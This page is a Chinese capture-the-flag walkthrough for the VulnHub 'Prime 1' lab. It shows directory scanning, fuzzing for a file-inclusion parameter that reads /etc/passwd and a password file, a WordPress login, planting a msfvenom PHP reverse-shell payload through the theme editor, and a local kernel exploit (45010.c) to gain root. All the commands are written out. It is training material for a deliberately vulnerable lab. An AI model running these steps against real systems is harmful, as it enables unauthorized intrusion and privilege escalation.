当前位置: 首页 > article >正文

vulnhub-prime1

目录

  • 靶场环境
  • 解题过程

靶场环境

项目ip
靶机(prime)未知
攻击机(kali)10.128.129.128

解题过程

打开靶机,我们只能看见一个登录界面,上面只有半截提示
请添加图片描述
我们首先要做的是主机发现,因为是网络适配器NAT模式,因此我们只需要在一个使用同样网卡NAT模式下的机器即可,这里我们用的是kali,

nmap -sP 10.128.129.1/24

请添加图片描述
可以看到,这里发现了六个主机,我们只需要根据物理网卡来获取正确的ip地址即可,在Vmware中,打开虚拟机prime的虚拟机设置,在网络适配器界面的高级界面即可看到物理网卡地址(MAC地址),再结合上面的五台主机,可以判断出目标靶机的ip为10.128.129.131

请添加图片描述
得到目标主机后,我们还需要知道看看主机有哪些端口可以利用,这里还是利用nmap工具,不得不说,这个工具是真好用。

nmap -A -p- -v 10.128.129.131

在这里插入图片描述
可以看到这里开放了两个端口,80端口和22端口,22是ssh,而80端口是HTTP的服务端口,意思是我们可以直接利用浏览器来利用这个端口。

http://10.128.129.131/

在这里插入图片描述
在这里插入图片描述

可以看到,这里通过80端口访问到了服务器,但是服务器中只有一张图片,查看源代码后也没有任何提示信息,毫无头绪?,那就开始目录扫描!

dirb http://10.128.129.131/

在这里插入图片描述
这里看到工具扫到了很多的目录,大部分是wordpress目录下的内容,但是这个只是一个开源的博客程序,所以我们这里把重心放在第一条dev文件中

http://10.128.129.131/dev

在这里插入图片描述
可以看到,页面有了回显,是个提示内容

你好

现在你处于 0 级阶段。

在现实生活中的渗透测试中,我们应该使用我们的工具非常努力地挖掘 Web。

祝您黑客愉快。

大致意思就是,我们简单的目录扫描是根本扫不出来的,那么我们就需要利用工具进行深入扫描,那么我们在这里扫一些常见的文件类型进行深入扫描。

dirb http://10.128.129.131/ -X .txt,.php,.zip

在这里插入图片描述
可以看到,扫到了一些内容,index.php是首页,可以忽略,那么我们对那两个文件进行访问

第一个:image.php
在这里插入图片描述

在这里插入图片描述

可以看到,这里还是一个图片,跟之前的一摸一样,源代码也大差不大,没有什么提示

第二个:secret.txt
在这里插入图片描述
这里是一段文本内容

看来你有一些秘密。

好的,我只是想帮你一些忙。

在您找到的 php 的每一页上多做一些模糊测试。如果
您获得任何正确的参数,然后按照以下步骤操作。如果你还是卡住了
从这里学习一个基本工具,它对 OSCP 有很好的使用。

https://github.com/hacknpentest/Fuzzing/blob/master/Fuzz_For_Web
 
//看到location.txt,你会得到你的下一步//

这是一段提示内容,他的意思是让我们在php文件中做文章,做FUZZ爆破,爆破出参数名,然后再访问location.txt。php的文件我们已经扫出来了,一共两个,相比与index,明显image更可疑,

知道了大概思路,我们就开干!

wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt http://10.128.129.131/image.php?FUZZ

在这里插入图片描述
可以看到,它弹出了很多东西,我们这里只需要进行过滤即可,可以按照word,也可以通过chars过滤。

wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hw 12 http://10.128.129.131/image.php?FUZZ 

在这里插入图片描述

可以看到,这里我们没有扫到什么东西,看来是猜错了>_<
那么,再试试另外一个php文件吧

wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt http://10.128.129.131/index.php?FUZZ 

在这里插入图片描述
还是一样,过滤掉其他大多数字符

wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hw 12 http://10.128.129.131/index.php?FUZZ 

在这里插入图片描述
终于筛出来了,字段名叫file,那么我们这里直接访问location.txt即可

http://10.128.129.131/index.php?file=location.txt

在这里插入图片描述
可以看到页面有回显了,又是一段提示,翻译过来就是:

做得更好

好的,现在你真的在确切的参数上

现在为下一个挖掘更多
在其他 PHP 页面上使用 'secrettier360' 参数以获得更多乐趣。

看的出来,这次很明显了,提示我们去image.php文件,用secrettier360作字段名为去访问,那么问题来了,我们访问什么呢?

这里也没有提示了,这么利用我们的尝试,靶场是ubuntu的系统,那么这个系统里是不是有一些默认的文件夹呢?
有,比如/etc/passwd,那么我们试着访问一下

http://10.128.129.131/image.php?secrettier360=/etc/passwd

ke

在这里插入图片描述

可以看到,页面有了回显了,在最后一行,作者藏了一个提示,很阴间啊。
在这里插入图片描述
提示内容为:

find password.txt file in my directory:/home/saket

翻译一下:
在/home/saket目录中找到password.txt

这段提示很眼熟啊,有没有感觉在哪里见过?
请添加图片描述
在这里,开始的页面,这原来是那半截提示

回到正题,它已经给了我们提示了,那么就试着去访问一下

http://10.128.129.131/image.php?secrettier360=/home/saket/password.txt

在这里插入图片描述
果然是有了内容,翻译一下

最后,您得到了正确的参数

follow_the_ippsec

这个字符的文件名是password,看来这是一个密码
那么此时得到一个密码可以做什么呢?这时候就需要冷静一下,仔细回想还有没有什么漏下的条件。
关于密码,再结合目前条件,好像能用的只有ssh,那么我们可以去靶机界面登录一下试试看
请添加图片描述
可以看到这个办法不太行

还记得我们之前说过wordpress是一个开源的博客程序吗?我们目前来说,只能去博客碰碰运气,看看是不是某个用户登录的密码。

http://10.128.129.131/wordpress/

在这里插入图片描述
可以看到,我们进入了博客的首页,那么在Meta的下面有个Log in,我们进入这个页面尝试登录
在这里插入图片描述
进入这个页面后,我们只知道密码,不知道账号,还是无从下手,怎么办呢?
这时候就体现出wordpress的一个特性了,当创建好一个wordpress平台后,会用管理员账户自动发表一篇博客,内容就在首页,如下图
在这里插入图片描述
那么这里的victor就是管理员的用户了,单机victor,你会发现url中出现了author=1,这个1可能就是root用户的编号,那么我们再来试试其他的
当你尝试2,3,4等简单数据时,会发现好像很难找到一些用户,那么这里我们用工具cmseek去爆破

wpscan --url http://10.128.129.131/wordpress/ --enumerate u

在这里插入图片描述
可以看到,这里它只发现了一个用户,那么我们再碰碰运气,看看账号密码是否匹配

在这里插入图片描述
可以看到,我们这里登入了进去,已经进入了程序后台。那么接下来我们该怎么办呢?

wordpress还有个特性,在后台的Appearance的Theme Editor,这是个主题编辑器,用来编辑格式等内容,这部分内容会被执行,那么我们就会有很多方法了,这里我们尝试上传内容,实现反弹链接,从而实现获得root权限

在这里插入图片描述

大致思路有了,接下来就是找一个地方,让我们可以编译并运行。

在这里插入图片描述

可以看到,我们在右侧选中secret.php时,页面有了提示

哦,你终于得到了一个可写的文件

这很明显就是提示了,我们直接在这里写即可
写什么内容呢?
这里我推荐一个MSF模块,它可以帮我们生成文件

msfconsole

在这里插入图片描述
只需要输入msfconsole即可进入模块,只需稍加等待模块启动即可

//这串命令可以生成一个shell.php的恶意文件用于反弹链接
//只需要把ip改为攻击机的ip即可
msfvenom -p php/meterpreter/reverse_tcp lhost=10.128.129.128 lport=7777 -o shell.php

在这里插入图片描述
可以看到,我们这里有了shell.php文件,我们接下来复制里面的内容即可

cat shell.php

在这里插入图片描述
在这里插入图片描述

把这段内容复制到刚才的网页的主题编辑器中,点击左下角的update File上传文件,并且在攻击机中的ms模块开始监听对应端口

//使用监听的模块
use exploit/multi/handler
//设置payload为php的反弹链接
set payload php/meterpreter/reverse_tcp
//设置监听的ip和端口
set lhost 10.128.129.128
set lport 7777
//开始监听
exploit

在这里插入图片描述

好,现在完事具备,只欠东风,我们只需要访问secret.php文件,即可在攻击机中完成反弹链接
访问地址在哪呢?
这也是wordpress的特征,可以说是固定格式吧

http://10.128.129.131/wordpress/wp-content/themes/twentynineteen/secret.php

在这里插入图片描述
访问之后可以看到完成反弹连接了,接下来,进行提权,获取root权限
我个人认为最简单的办法是利用现成的漏洞,那么这里我们看看操作系统的版本信息

sysinfo

在这里插入图片描述
这里获取到了操作系统的版本,是Ubuntu 16.04.2
这里我们再开一个命令窗口,进入msf模块,查看ubuntu的版本漏洞有没有可以直接利用的。

searchsploit 16.04 Ubuntu

在这里插入图片描述
可以看到,这里有一个能用的漏洞,路径为 linux/local45010.c,那么我们只需要将他拿出来用即可

再次新开一个命令窗口

//将文件copy到工作目录
cp /usr/share/exploitdb/exploits/linux/local/45010.c ./

在这里插入图片描述
复制过来后,我们还需要将其编译才能运用,它的后缀为c,那么我们可以直接在当前命令框中编译

gcc 45010.c -o 45010

在这里插入图片描述
好,此时就可以直接利用了,利用方式的话,只需要将该文件上传到靶机即可
我们切换到msf监听的窗口

upload /root/45010 /tmp/45010

在这里插入图片描述
此时我们看看这个文件上传上去后,有没有权限来运行

cd /tmp
ls

在这里插入图片描述
可以看到,没有运行的权限,那么我们只需要修改权限即可

//进入shell模式
shell
//进入tmp目录
cd /tmp
//修改权限
chmod +x 45010
//运行文件
./45010

此时就会发现自己是root用户了


http://www.kler.cn/a/317712.html

相关文章:

  • 2024 年(第 7 届)“泰迪杯”数据分析技能赛B 题 特殊医学用途配方食品数据分析 完整代码 结果 可视化分享
  • 深入解析贪心算法及其应用实例
  • Oracle ADB 导入 BANK_GRAPH 的学习数据
  • 穿越数据迷宫:C++哈希表的奇幻旅程
  • OceanStor Pacific系列 8.1.0 功能架构
  • SQL面试题——奔驰SQL面试题 车辆在不同驾驶模式下的时间
  • Android 检测图片抓拍, 聚焦图片后自动完成拍照,未对准图片的提示请将摄像头对准要拍照的图片
  • 红书 API 接口:笔记详情数据接口的接入与使用
  • IDEA 关闭自动补全功能(最新版本)
  • 【我的 PWN 学习手札】House of Botcake —— tcache key 绕过
  • 我从家庭提取的动态IP是独享的吗?
  • RK3568笔记六十二:使用V4L2读取摄像头并在LCD上显示
  • TypeScript-面向对象(接口、类、对象、泛型)
  • 1.5 计算机网络的性能指标
  • Git可视化工具和基础命令
  • vue3<script setup>中使用reactive包裹的对象被重新赋值失去响应式原因和解决方式
  • C#控件开发能够阅读的书籍
  • ESP8266+DHT11+Python制作一个物联网温湿度传感器
  • 基于C#+SQL Server2005(WinForm)图书管理系统
  • 多边形抠图 python
  • python爬虫案例——抓取链家租房信息
  • IPsec-Vpn
  • 6、论文阅读:水下图像增强基准数据集及其他数据集
  • 【Godot4.3】三角形类
  • lunar无第三方依赖的公历、农历、法定节假日...日历工具库
  • 什么是单例模式?